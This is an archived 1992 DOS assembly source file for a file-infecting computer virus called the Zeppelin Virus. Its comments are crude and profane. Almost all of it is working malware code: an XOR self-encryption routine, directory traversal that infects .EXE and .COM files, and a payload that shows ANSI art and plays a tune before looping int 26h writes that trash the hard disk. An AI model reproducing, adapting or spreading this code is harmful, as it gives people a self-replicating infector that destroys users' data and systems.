home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-Z.ZIP / ZEPPELIN.ASM < prev   
Assembly Source File  |  1992-09-13  |  24KB  |  675 lines

  1. ;**************************************************************************
  2. ;
  3. ;The Zeppelin Virus  September 25, 1992
  4. ;[MPC] Generated...
  5. ;Created by... pAgE
  6. ;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made!
  7. ;Incidently. He died on this date in 1980! Got drunk and strangled on a
  8. ;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL...
  9. ;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of
  10. ;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS
  11. ;ThAt yA'll uSe, ArE a KicK....
  12. ;
  13. ;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS...
  14. ;                          GeT'S in ThE bl00d DoEsn't it?------->^^^^^
  15. ;
  16. ;Here it is...
  17. ;It's not much, but in the hands off a knowledgeable Vx WRiTeR.......
  18. ;I'll keep workin' on it and see what I can do. In the mean time, have fun!
  19. ;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF.
  20. ;
  21. ;But...If that's not good enough, well then - hEy! - BLoW mE!
  22. ;
  23. ;***************************************************************************
  24.  
  25. .model tiny                             ; Handy directive
  26. .code                                   ; Virus code segment
  27.           org    100h                   ; COM file starting IP
  28.  
  29. id = 'IS'                               ; ID word for EXE infections
  30. entry_point: db 0e9h,0,0                ; jmp decrypt
  31.  
  32. decrypt:                                ; handles encryption and decryption
  33. patch_startencrypt:
  34.           mov  di,offset startencrypt   ; start of decryption
  35.           mov  si,(offset heap - offset startencrypt)/2 ; iterations
  36. decrypt_loop:
  37.           db   2eh,81h,35h              ; xor word ptr cs:[di], xxxx
  38. decrypt_value dw 0                      ; initialised at zero for null effect
  39.           inc  di                       ; calculate new decryption location
  40.           inc  di
  41.           dec  si                       ; If we are not done, then
  42.           jnz  decrypt_loop             ; decrypt mo'
  43. startencrypt:
  44.           call next                     ; calculate delta offset
  45. next:
  46.           pop  bp                       ; bp = IP next
  47.           sub  bp,offset next           ; bp = delta offset
  48.  
  49.  
  50.           cmp  sp,id                    ; COM or EXE?
  51.           je   restoreEXE
  52. restoreCOM:
  53.           lea  si,[bp+save3]
  54.           mov  di,100h
  55.           push di                       ; For later return
  56.           movsb
  57.           jmp  short restoreEXIT
  58. restoreEXE:
  59.           push ds
  60.           push es
  61.           push cs                       ; DS = CS
  62.           pop  ds
  63.           push cs                       ; ES = CS
  64.           pop  es
  65.           lea  si,[bp+jmpsave2]
  66.           lea  di,[bp+jmpsave]
  67.           movsw
  68.           movsw
  69.           movsw
  70. restoreEXIT:
  71.           movsw
  72.  
  73.           mov  byte ptr [bp+numinfec],5 ; reset infection counter
  74.  
  75.           mov  ah,1Ah                   ; Set new DTA
  76.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  77.           int  21h
  78.  
  79.           mov  ah,47h                   ; Get current directory
  80.           mov  dl,0                     ; Current drive
  81.           lea  si,[bp+origdir]          ; DS:SI->buffer
  82.           int  21h
  83.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  84.  
  85.           mov  ax,3524h                 ; Get int 24 handler
  86.           int  21h                      ; to ES:BX
  87.           mov  word ptr [bp+oldint24],bx; Save it
  88.           mov  word ptr [bp+oldint24+2],es
  89.           mov  ah,25h                   ; Set new int 24 handler
  90.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  91.           int  21h
  92.           push cs                       ; Restore ES
  93.           pop  es                       ; 'cuz it was changed
  94.  
  95. dir_scan:                               ; "dot dot" traversal
  96.           lea  dx,[bp+exe_mask]
  97.           call infect_mask
  98.           lea  dx,[bp+com_mask]
  99.           call infect_mask
  100.           mov  ah,3bh                   ; change directory
  101.           lea  dx,[bp+dot_dot]          ; "cd .."
  102.           int  21h
  103.           jnc  dir_scan                 ; go back for mo!
  104.  
  105. done_infections:
  106.          ;mov  ah,2ah                   ; Get current date
  107.          ;int  21h
  108.          ;cmp  dh,9                     ; Check month
  109.          ;jb   act_two
  110.          ;cmp  dl,25                    ; Check date
  111.          ;jb   act_two
  112.          ;cmp  cx,1992                  ; Check year
  113.          ;jb   act_two
  114.          ;cmp  al,0                     ; Check date of week
  115.          ;jb   activate
  116.  
  117.          ;mov  ah,2ch                   ; Get current time
  118.          ;int  21h
  119.          ;cmp  dl,50                    ; Check the percentage
  120.           jbe  activate
  121.  
  122. exit_virus:
  123.           mov  ax,2524h                 ; Restore int 24 handler
  124.           lds  dx,[bp+offset oldint24]  ; to original
  125.           int  21h
  126.           push cs
  127.           pop  ds
  128.  
  129.           mov  ah,3bh                   ; change directory
  130.           lea  dx,[bp+origdir-1]        ; original directory
  131.           int  21h
  132.  
  133.           mov  ah,1ah                   ; restore DTA to default
  134.           mov  dx,80h                   ; DTA in PSP
  135.           cmp  sp,id-4                  ; EXE or COM?
  136.           jz   returnEXE
  137. returnCOM:
  138.           retn                          ; 100h is on stack
  139. returnEXE:
  140.           pop  es
  141.           pop  ds
  142.           int  21h
  143.           mov  ax,es                    ; AX = PSP segment
  144.           add  ax,10h                   ; Adjust for PSP
  145.           add  word ptr cs:[bp+jmpsave+2],ax
  146.           add  ax,word ptr cs:[bp+stacksave+2]
  147.           cli                           ; Clear intrpts for stack manipulation
  148.           mov  sp,word ptr cs:[bp+stacksave]
  149.           mov  ss,ax
  150.           sti
  151.           db   0eah                     ; jmp ssss:oooo
  152. jmpsave             dd ?                ; Original CS:IP
  153. stacksave           dd ?                ; Original SS:SP
  154. jmpsave2            db ?                ; Actually four bytes
  155. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  156. exe_mask            db '*.exe',0
  157. com_mask            db '*.com',0
  158. stacksave2          dd ?
  159.  
  160. activate        proc    far
  161.  
  162. start:
  163.         jmp    short loc_1
  164.         db    90h
  165. data_2        db    0
  166. data_3        dw    216h
  167.         db    2
  168. data_4        dw    0
  169.                 db      'Ripped this Motherfucker off'
  170.         db    1Ah
  171. data_5          db      'SHIT!!! Wont work....', 0Dh, 0Ah
  172.         db    '$'
  173. loc_1:
  174.  
  175.                 mov     ax,0003h           ; stick 3 into ax.
  176.                 int     10h                ; Set up 80*25, text mode.  Clear the screen, too.
  177.                 mov     ah,0Fh
  178.         int    10h            ; Video display   ah=functn 0Fh
  179.                         ;  get state, al=mode, bh=page
  180.                         ;   ah=columns on screen
  181.         mov    bx,0B800h
  182.         cmp    al,2
  183.         je    loc_2            ; Jump if equal
  184.         cmp    al,3
  185.         je    loc_2            ; Jump if equal
  186.         mov    data_2,0
  187.         mov    bx,0B000h
  188.         cmp    al,7
  189.         je    loc_2            ; Jump if equal
  190.         mov    dx,offset data_5    ; ('Unsupported Video Mode')
  191.         mov    ah,9
  192.         int    21h            ; DOS Services  ah=function 09h
  193.                         ;  display char string at ds:dx
  194.         retn
  195. loc_2:
  196.         mov    es,bx
  197.         mov    di,data_4
  198.         mov    si,offset data_6
  199.         mov    dx,3DAh
  200.         mov    bl,9
  201.         mov    cx,data_3
  202.         cld                ; Clear direction
  203.         xor    ax,ax            ; Zero register
  204.  
  205. locloop_4:
  206.         lodsb                ; String [si] to al
  207.         cmp    al,1Bh
  208.         jne    loc_5            ; Jump if not equal
  209.         xor    ah,80h
  210.         jmp    short loc_20
  211. loc_5:
  212.         cmp    al,10h
  213.         jae    loc_8            ; Jump if above or =
  214.         and    ah,0F0h
  215.         or    ah,al
  216.         jmp    short loc_20
  217. loc_8:
  218.         cmp    al,18h
  219.         je    loc_11            ; Jump if equal
  220.         jnc    loc_12            ; Jump if carry=0
  221.         sub    al,10h
  222.         add    al,al
  223.         add    al,al
  224.         add    al,al
  225.         add    al,al
  226.         and    ah,8Fh
  227.         or    ah,al
  228.         jmp    short loc_20
  229. loc_11:
  230.         mov    di,data_4
  231.         add    di,data_1e
  232.         mov    data_4,di
  233.         jmp    short loc_20
  234. loc_12:
  235.         mov    bp,cx
  236.         mov    cx,1
  237.         cmp    al,19h
  238.         jne    loc_13            ; Jump if not equal
  239.         lodsb                ; String [si] to al
  240.         mov    cl,al
  241.         mov    al,20h            ; ' '
  242.         dec    bp
  243.         jmp    short loc_14
  244. loc_13:
  245.         cmp    al,1Ah
  246.         jne    loc_15            ; Jump if not equal
  247.         lodsb                ; String [si] to al
  248.         dec    bp
  249.         mov    cl,al
  250.         lodsb                ; String [si] to al
  251.         dec    bp
  252. loc_14:
  253.         inc    cx
  254. loc_15:
  255.         cmp    data_2,0
  256.         je    loc_18            ; Jump if equal
  257.         mov    bh,al
  258.  
  259. locloop_16:
  260.         in    al,dx            ; port 3DAh, CGA/EGA vid status
  261.         rcr    al,1            ; Rotate thru carry
  262.         jc    locloop_16        ; Jump if carry Set
  263. loc_17:
  264.         in    al,dx            ; port 3DAh, CGA/EGA vid status
  265.         and    al,bl
  266.         jnz    loc_17            ; Jump if not zero
  267.         mov    al,bh
  268.         stosw                ; Store ax to es:[di]
  269.         loop    locloop_16        ; Loop if cx > 0
  270.  
  271.         jmp    short loc_19
  272. loc_18:
  273.         rep    stosw            ; Rep when cx >0 Store ax to es:[di]
  274. loc_19:
  275.         mov    cx,bp
  276. loc_20:
  277.                 jcxz    loc_new_25              ; Jump if cx=0
  278.         loop    locloop_4        ; Loop if cx > 0
  279. loc_new_25:
  280.  
  281.  
  282.                 mov     si,offset data00        ; SI points to data
  283. get_note:       mov     bx,[si]                 ; Load BX with the frequency
  284.                 or      bx,bx                   ; Is BX equal to zero?
  285.                 je      play_tune_done          ; If it is we are finished
  286.  
  287.                 mov     ax,034DDh               ;
  288.                 mov     dx,0012h                ;
  289.                 cmp     dx,bx                   ;
  290.                 jnb     new_note                ;
  291.                 div     bx                      ; This bit here was stolen
  292.                 mov     bx,ax                   ; from the Turbo C++ v1.0
  293.                 in      al,061h                 ; library file CS.LIB.  I
  294.                 test    al,3                    ; extracted sound() from the
  295.                 jne     skip_an_or              ; library and linked it to
  296.                 or      al,3                    ; an .EXE file, then diassembled
  297.                 out     061h,al                 ; it.  Basically this turns
  298.                 mov     al,0B6h                 ; on the speaker at a certain
  299.                 out     043h,al                 ; frequency.
  300. skip_an_or:     mov     al,bl                   ;
  301.                 out     042h,al                 ;
  302.                 mov     al,bh                   ;
  303.                 out     042h,al                 ;
  304.  
  305.                 mov     bx,[si + 2]             ; BX holds duration value
  306.                 xor     ah,ah                   ; BIOS get time function
  307.                 int     1Ah
  308.                 add     bx,dx                   ; Add the time to the length
  309. wait_loop:      int     1Ah                     ; Get the time again (AH = 0)
  310.                 cmp     dx,bx                   ; Is the delay over?
  311.                 jne     wait_loop               ; Repeat until it is
  312.                 in      al,061h                 ; Stolen from the nosound()
  313.                 and     al,0FCh                 ; procedure in Turbo C++ v1.0.
  314.                 out     061h,al                 ; This turns off the speaker.
  315.  
  316. new_note:       add     si,4                    ; SI points to next note
  317.                 jmp     short get_note          ; Repeat with the next note
  318. play_tune_done:
  319. activate        endp
  320.  
  321.                 mov     ax,0002h             ; OH! Look at this! Mr. Memorial
  322.                 mov     cx,0001h             ; has just transformed into an
  323.                 cli                          ; ASSHoLe!!!
  324.                 cwd                          ; NuKe that HD "puppy-mullet"
  325. trash_loop:     int     026h                 ; Int 26h...Absolute FACE-RAPE
  326.                 dec     ax                   ; We really did let him off easy!
  327.                 cmp     ax,-1                ; Could have seriously trashed
  328.                 jne     trash_loop           ; his happy ass................
  329.                 sti                          ; --->>pAgE<<----
  330.  
  331.           jmp  exit_virus
  332.  
  333. creator             db '[pAgE]',0        ; YOU REALLY SHOULD TAKE THIS
  334. virusname           db '[SwanSong]',0    ; BULLSHIT OUT OF HERE!!!
  335. author              db 'pAgE',0      ; WHY NOT HOLD UP A SIGN!!!
  336.  
  337. infect_mask:
  338.           mov  ah,4eh                   ; find first file
  339.           mov  cx,7                     ; any attribute
  340. findfirstnext:
  341.           int  21h                      ; DS:DX points to mask
  342.           jc   exit_infect_mask         ; No mo files found
  343.  
  344.           mov  al,0h                    ; Open read only
  345.           call open
  346.  
  347.           mov  ah,3fh                   ; Read file to buffer
  348.           lea  dx,[bp+buffer]           ; @ DS:DX
  349.           mov  cx,20h                   ; 1Ah bytes
  350.           int  21h
  351.  
  352.           mov  ah,3eh                   ; Close file
  353.           int  21h
  354.  
  355.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  356.           jz   checkEXE                 ; Why yes, yes it is!
  357. checkCOM:
  358.           mov  ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA
  359.           cmp  ax,(heap-decrypt)      ; Is it too small?
  360.           jb   find_next
  361.  
  362.           mov  bx,word ptr [bp+buffer+1] ;get jmp location
  363.           add  bx,(heap-decrypt+1)        ; Adjust for virus size
  364.           cmp  ax,bx
  365.           je   find_next                ; already infected
  366.           jmp  infect_com
  367. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  368.           jnz  infect_exe
  369. find_next:
  370.           mov  ah,4fh                   ; find next file
  371.           jmp  short findfirstnext
  372. exit_infect_mask: ret
  373.  
  374. infect_exe:
  375.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  376.           mov  word ptr [bp+jmpsave2], ax
  377.           mov  word ptr [bp+jmpsave2+2], es
  378.  
  379.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  380.           mov  word ptr [bp+stacksave2], es
  381.           mov  word ptr [bp+stacksave2+2], ax
  382.  
  383.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  384.           mov  cl, 4                    ; convert to bytes
  385.           shl  ax, cl
  386.           xchg ax, bx
  387.  
  388.           les  ax, [bp+offset newDTA+26]; Get file size
  389.           mov  dx, es                   ; to DX:AX
  390.           push ax
  391.           push dx
  392.  
  393.           sub  ax, bx                   ; Subtract header size from
  394.           sbb  dx, 0                    ; file size
  395.  
  396.           mov  cx, 10h                  ; Convert to segment:offset
  397.           div  cx                       ; form
  398.  
  399.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  400.           mov  word ptr [bp+buffer+16h], ax
  401.  
  402.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  403.           mov  word ptr [bp+buffer+10h], id
  404.  
  405.           pop  dx                       ; get file length
  406.           pop  ax
  407.  
  408.           add  ax,(heap-decrypt)         ; add virus size
  409.           adc  dx, 0
  410.  
  411.           mov  cl, 9
  412.           push ax
  413.           shr  ax, cl
  414.           ror  dx, cl
  415.           stc
  416.           adc  dx, ax
  417.           pop  ax
  418.           and  ah, 1                    ; mod 512
  419.  
  420.           mov  word ptr [bp+buffer+4], dx ; new file size
  421.           mov  word ptr [bp+buffer+2], ax
  422.  
  423.           push cs                       ; restore ES
  424.           pop  es
  425.  
  426.           push word ptr [bp+buffer+14h] ; needed later
  427.           mov  cx, 1ah
  428.           jmp  short finishinfection
  429. infect_com:                             ; ax = filesize
  430.           mov  cx,3
  431.           sub  ax,cx
  432.           lea  si,[bp+offset buffer]
  433.           lea  di,[bp+offset save3]
  434.           movsw
  435.           movsb
  436.           mov  byte ptr [si-3],0e9h
  437.           mov  word ptr [si-2],ax
  438.           add  ax,103h
  439.           push ax                       ; needed later
  440. finishinfection:
  441.           push cx                       ; Save # bytes to write
  442.           xor  cx,cx                    ; Clear attributes
  443.           call attributes               ; Set file attributes
  444.  
  445.           mov  al,2
  446.           call open
  447.  
  448.           mov  ah,40h                   ; Write to file
  449.           lea  dx,[bp+buffer]           ; Write from buffer
  450.           pop  cx                       ; cx bytes
  451.           int  21h
  452.  
  453.           mov  ax,4202h                 ; Move file pointer
  454.           xor  cx,cx                    ; to end of file
  455.           cwd                           ; xor dx,dx
  456.           int  21h
  457.  
  458. get_encrypt_value:
  459.           mov  ah,2ch                   ; Get current time
  460.           int  21h                      ; dh=sec,dl=1/100 sec
  461.           or  dx,dx                     ; Check if encryption value = 0
  462.           jz  get_encrypt_value         ; Get another if it is
  463.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  464.           lea  di,[bp+code_store]
  465.           mov  ax,5355h                 ; push bp,push bx
  466.           stosw
  467.           lea  si,[bp+decrypt]          ; Copy encryption function
  468.           mov  cx,startencrypt-decrypt  ; Bytes to move
  469.           push si                       ; Save for later use
  470.           push cx
  471.           rep  movsb
  472.  
  473.           lea    si,[bp+write]          ; Copy writing function
  474.           mov    cx,endwrite-write      ; Bytes to move
  475.           rep    movsb
  476.           pop    cx
  477.           pop    si
  478.           pop    dx                     ; Entry point of virus
  479.           push   di
  480.           push   si
  481.           push   cx
  482.           rep    movsb                  ; Copy decryption function
  483.           mov    ax,5b5dh               ; pop bx,pop bp
  484.           stosw
  485.           mov    al,0c3h                ; retn
  486.           stosb
  487.  
  488.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  489.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  490.           call   code_store             ; decryption
  491.           pop    cx
  492.           pop    di
  493.           pop    si
  494.           rep    movsb                  ; Restore decryption function
  495.  
  496.           mov  ax,5701h                 ; Restore creation date/time
  497.           mov  cx,word ptr [bp+newDTA+16h] ; time
  498.           mov  dx,word ptr [bp+newDTA+18h] ; date
  499.           int  21h
  500.  
  501.           mov  ah,3eh                   ; Close file
  502.           int  21h
  503.  
  504.           mov ch,0
  505.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  506.           call attributes               ; attributes
  507.  
  508.           dec  byte ptr [bp+numinfec]   ; One mo infection
  509.           jnz  mo_infections            ; Not enough
  510.           pop  ax                       ; remove call from stack
  511.           jmp  done_infections
  512. mo_infections: jmp find_next
  513.  
  514. open:
  515.           mov  ah,3dh
  516.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  517.           int  21h
  518.           xchg ax,bx
  519.           ret
  520.  
  521. attributes:
  522.           mov  ax,4301h                 ; Set attributes to cx
  523.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  524.           int  21h
  525.           ret
  526.  
  527. write:
  528.           pop  bx                       ; Restore file handle
  529.           pop  bp                       ; Restore relativeness
  530.           mov  ah,40h                   ; Write to file
  531.           lea  dx,[bp+decrypt]          ; Concatenate virus
  532.           mov  cx,(heap-decrypt)          ; # bytes to write
  533.           int  21h
  534.           push bx
  535.           push bp
  536. endwrite:
  537.  
  538. int24:                                  ; New int 24h (error) handler
  539.           mov  al,3                     ; Fail call
  540.           iret                          ; Return control
  541. data00    dw      2000,8,2500,8,2000,14,2500,14
  542.          ;dw      2500,14,3000,4,4000,24,3500,12,4000,6
  543.          ;dw      3500,12,4000,4,4500,10,5000,4
  544.          ;dw      5500,15,3000,8,3500,20,3000,8,3500,50
  545.          ;dw      2000,8,2500,8,2000,14,2500,14
  546.          ;dw      2500,14,3000,4,4000,24,3500,12,4000,6
  547.          ;dw      3500,12,4000,4,4500,10,5000,4
  548.          ;dw      5500,15,3000,8,3500,20,3000,8,3500,50
  549.          ;dw      2000,8,2500,8,2000,14,2500,14
  550.          ;dw      2500,14,3000,4,4000,24,3500,12,4000,6
  551.          ;dw      3500,12,4000,4,4500,10,5000,4
  552.          ;dw      5500,15,3000,8,3500,20,3000,8,3500,50
  553.           dw      0
  554.  
  555. data_6          db      9
  556.         db     10h, 19h, 45h, 18h, 19h, 1Bh
  557.         db     01h,0D5h,0CDh,0CDh,0B8h, 04h
  558.         db    0F3h, 09h,0A9h, 04h, 9Dh
  559.         db    9
  560.         db    0AAh, 04h,0F2h, 01h,0D5h,0CDh
  561.         db    0CDh,0B8h, 19h, 1Ch, 18h, 19h
  562.         db     12h,0D5h, 1Ah, 0Ah,0CDh,0BEh
  563.         db     20h, 09h, 5Ch, 04h,0F6h, 09h
  564.         db     2Fh, 20h, 01h,0D4h, 1Ah, 0Ah
  565.         db    0CDh,0B8h, 19h, 13h, 18h, 19h
  566.         db     03h,0C9h, 1Ah, 0Dh,0CDh,0BEh
  567.         db     19h, 03h, 0Fh,0D2h,0B7h, 19h
  568.         db     04h,0D6h, 1Ah, 03h,0C4h,0B7h
  569.         db     20h,0D2h,0D2h,0C4h,0C4h,0C4h
  570.         db    0B7h, 19h, 04h, 01h,0D4h, 1Ah
  571.         db     0Eh,0CDh,0BBh, 19h, 03h, 18h
  572.         db     19h, 03h,0BAh, 19h, 12h, 07h
  573.         db    0BAh,0BAh, 19h, 04h,0BAh, 19h
  574.         db     03h,0BDh, 20h,0BAh,0BAh, 19h
  575.         db     02h,0D3h,0B7h, 19h, 13h, 01h
  576.         db    0BAh, 19h, 03h, 18h, 19h, 03h
  577.         db    0BAh, 19h, 07h, 0Bh, 1Ah, 02h
  578.         db     04h, 19h, 07h, 08h,0BAh,0B6h
  579.         db     19h, 04h,0C7h,0C4h,0B6h, 19h
  580.         db     03h,0BAh,0B6h, 19h, 03h,0BAh
  581.         db     19h, 07h, 0Bh, 1Ah, 02h, 04h
  582.         db     19h, 08h, 01h,0BAh, 19h, 03h
  583.         db     18h,0D6h,0C4h,0C4h, 20h,0BAh
  584.         db     19h, 12h, 08h,0BAh,0D3h, 19h
  585.         db     02h,0B7h, 20h,0BAh, 19h, 03h
  586.         db    0B7h, 20h,0BAh,0D3h, 19h, 02h
  587.         db    0D6h,0BDh, 19h, 13h, 01h,0BAh
  588.         db     20h,0C4h,0C4h,0B7h, 18h,0D3h
  589.         db    0C4h,0C4h,0C4h,0BDh, 19h, 12h
  590.         db     08h,0D3h, 1Ah, 03h,0C4h,0BDh
  591.         db     20h,0D3h, 1Ah, 03h,0C4h,0BDh
  592.         db     20h,0D0h, 1Ah, 03h,0C4h,0BDh
  593.         db     19h, 14h, 01h,0D3h,0C4h,0C4h
  594.         db    0C4h,0BDh, 18h, 04h, 1Ah, 04h
  595.         db     3Eh, 19h, 03h, 0Fh,0D6h, 1Ah
  596.         db     04h,0C4h,0B7h, 20h,0D6h, 1Ah
  597.         db     03h,0C4h,0B7h, 20h,0D2h,0D2h
  598.         db    0C4h,0C4h,0C4h,0B7h, 20h,0D2h
  599.         db    0D2h,0C4h,0C4h,0C4h,0B7h, 20h
  600.         db    0D6h, 1Ah, 03h,0C4h,0B7h, 20h
  601.         db    0D2h,0B7h, 19h, 04h,0D2h, 20h
  602.         db     20h,0D2h,0D2h,0C4h,0C4h,0C4h
  603.         db    0B7h, 19h, 03h, 04h, 1Ah, 04h
  604.         db     3Ch, 18h, 01h,0D6h,0C4h,0C4h
  605.         db    0C4h,0B7h, 19h, 07h, 07h,0D6h
  606.         db    0C4h,0BDh
  607.         dd    319BA20h        ; Data table (indexed access)
  608.         db    0BDh, 20h,0BAh,0BDh, 19h, 02h
  609.         db    0BAh, 20h,0BAh,0BDh, 19h, 02h
  610.         db    0BAh, 20h,0BAh, 19h, 03h,0BDh
  611.         db     20h,0BAh,0BAh, 19h, 04h,0BAh
  612.         db     20h, 20h,0BAh,0BAh, 19h, 02h
  613.         db    0BAh, 19h, 03h, 01h,0D6h,0C4h
  614.         db    0C4h,0C4h,0B7h, 18h,0D3h,0C4h
  615.         db    0C4h, 20h,0BAh, 19h, 06h, 08h
  616.         db     58h, 19h, 03h,0C7h,0C4h,0B6h
  617.         db     19h, 03h,0BAh, 1Ah, 03h,0C4h
  618.         db    0BDh, 20h,0BAh, 1Ah, 03h,0C4h
  619.         db    0BDh, 20h,0C7h,0C4h,0B6h, 19h
  620.         db     03h,0BAh,0B6h, 19h, 04h,0BAh
  621.         db     20h, 20h,0BAh,0B6h, 19h, 02h
  622.         db    0BAh, 19h, 03h, 01h,0BAh, 20h
  623.         db    0C4h,0C4h,0BDh, 18h, 19h, 03h
  624.         db    0BAh, 19h, 03h, 08h,0D6h,0C4h
  625.         db    0BDh, 19h, 04h,0BAh, 19h, 03h
  626.         db    0B7h, 20h,0BAh, 19h, 05h,0BAh
  627.         db     19h, 05h,0BAh, 19h, 03h,0B7h
  628.         db     20h,0BAh,0D3h, 19h, 02h,0B7h
  629.         db     20h,0BAh, 20h, 20h,0BAh,0D3h
  630.         db     19h, 02h,0BAh, 19h, 03h, 01h
  631.         db    0BAh, 19h, 03h, 18h, 19h, 03h
  632.         db    0BAh, 19h, 03h, 08h,0D3h, 1Ah
  633.         db     04h,0C4h,0BDh, 20h,0D3h, 1Ah
  634.         db     03h,0C4h,0BDh, 20h,0BDh, 19h
  635.         db     05h,0BDh, 19h, 05h,0D3h, 1Ah
  636.         db     03h,0C4h,0BDh, 20h,0D3h, 1Ah
  637.         db     03h,0C4h,0BDh, 20h,0D0h, 20h
  638.         db     20h,0D0h, 19h, 03h,0D0h, 19h
  639.         db     03h, 01h,0BAh, 19h, 03h, 18h
  640.         db     19h, 03h,0C8h, 1Ah, 15h,0CDh
  641.         db    0B8h, 19h, 0Ch,0D5h, 1Ah, 16h
  642.         db    0CDh,0BCh, 19h, 03h, 18h, 19h
  643.         db     1Ah,0D4h,0CDh, 04h, 1Ah, 03h
  644.         db    0F7h, 09h, 2Fh, 04h,0EAh, 09h
  645.         db     5Ch, 04h, 1Ah, 03h,0F7h, 01h
  646.         db    0CDh,0BEh, 19h, 1Bh, 18h
  647.  
  648. data_1e            equ     0A0h
  649. dot_dot            db '..',0
  650. heap:
  651. ; The following code is the buffer for the write function
  652. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  653. oldint24            dd ?                ; Storage for old int 24h handler      
  654. backslash           db ?
  655. origdir             db 64 dup (?)       ; Current directory buffer             
  656. newDTA              db 43 dup (?)       ; Temporary DTA                        
  657. numinfec            db ?                ; Infections this run                  
  658. buffer              db 1ah dup (?)      ; read buffer                          
  659. endheap:                                ; End of virus
  660. finish          label   near
  661. end       entry_point
  662.  
  663.  
  664.  
  665. ; Yeah, the main problem is reproducing the effect in an infected file so
  666. ; thta when IT runs, IT too will display... That's the GLITCH...
  667. ;
  668. ; Also, I had stuck INT 27H in somewhere around the EXIT .EXE...
  669. ; I don't remember, but it would go resident and suck up memory, yet
  670. ; since it hooked no interuppts, it just sat there...
  671. ; Feel free to STUDY this code and distribute it feely for educational
  672. ; purposes, because in spite of the kidding...I don't "hAcK"... for lack
  673. ; of a better word...--->>pAgE<<---
  674.  
  675.